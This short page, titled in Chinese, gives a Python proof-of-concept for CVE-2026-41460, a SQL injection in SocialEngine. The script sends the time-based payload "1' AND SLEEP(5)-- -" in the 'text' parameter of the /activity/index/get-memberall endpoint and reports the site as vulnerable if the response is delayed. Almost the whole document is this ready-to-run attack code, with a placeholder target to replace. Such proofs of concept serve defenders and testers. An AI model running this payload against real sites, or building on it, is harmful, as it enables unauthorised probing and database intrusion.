CVE-2026-41460 SocialEngine SQL注入漏洞

import requests def check_sqli(target_url): """ PoC for CVE-2026-41460 Checks for SQL Injection in the 'text' parameter. """ endpoint = "/activity/index/get-memberall" # Payload attempting to cause a time-based delay or error payload = "1' AND SLEEP(5)-- -" params = { "text": payload } try: response = requests.get(target_url + endpoint, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: Time-based SQL Injection detected.") else: print("[-] Vulnerability not confirmed or patched.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_sqli(target)